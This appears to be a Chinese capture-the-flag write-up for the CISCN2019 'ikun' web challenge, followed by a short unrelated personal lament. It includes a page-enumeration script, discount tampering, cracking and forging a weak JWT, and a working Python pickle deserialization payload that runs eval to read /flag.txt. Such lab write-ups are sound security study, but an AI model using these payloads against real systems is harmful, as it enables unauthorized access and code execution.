[CISCN2019 华北赛区 Day1 Web2]ikun 题解


题目提示要买到lv6,翻看几页未发现结果,写py脚本爆破

import requests

url='http://7646c9f2-f302-4ffd-aed4-3234cdefaa29.node5.buuoj.cn:81/shop?page='
for i in range(1,9999):
    print('Now:'+ str(i))
    r=requests.get(url+str(i))
    if 'lv6.png' in r.text:
        print(i)
        break

得到lv6位于181,购买lv6提示失败,查看余额,发现余额不足。抓包购买的过程,修改金额,失败;修改折扣为0.0000000001,成功购买。

跳转到b1g_m4mber页面,提示该页面只有管理员能访问,抓包该页面,发现存在JWT,利用jwi.io解码,发现存在username的值,猜测需要拿到加密算法的key来重新构造JWT数据,使得username为admin。

查看alg的内容为HS256,为对称加密,存在破解可能。使用c-jwt-cracker爆破该JWT,得到key为1Kun,利用jwt.io重新构造JWT数据,填入Cookie字段中,放包,绕过admin验证

点击一键成为大会员无反应,查看页面源码,发现源码位置,下载后进行代码审计,结合题目提示(pickle反序列化),定位到Admin.py,使用Tornado实现,进行审计后发现可以通过get方式给become参数传入构造好的值,使得反序列化时返回flag的值

import pickle
import urllib

class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print a
payload
become=c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.

声明:大K|版权所有,违者必究|如未注明,均为原创|本网站采用BY-NC-SA协议进行授权

转载:转载请注明原文链接 - [CISCN2019 华北赛区 Day1 Web2]ikun 题解


I'm scared this is all i will ever be...I feel trapped in my own life...I think i've figured it out but in reality i'm as lost as ever...I wish i could choose the memories that stay...please,stay.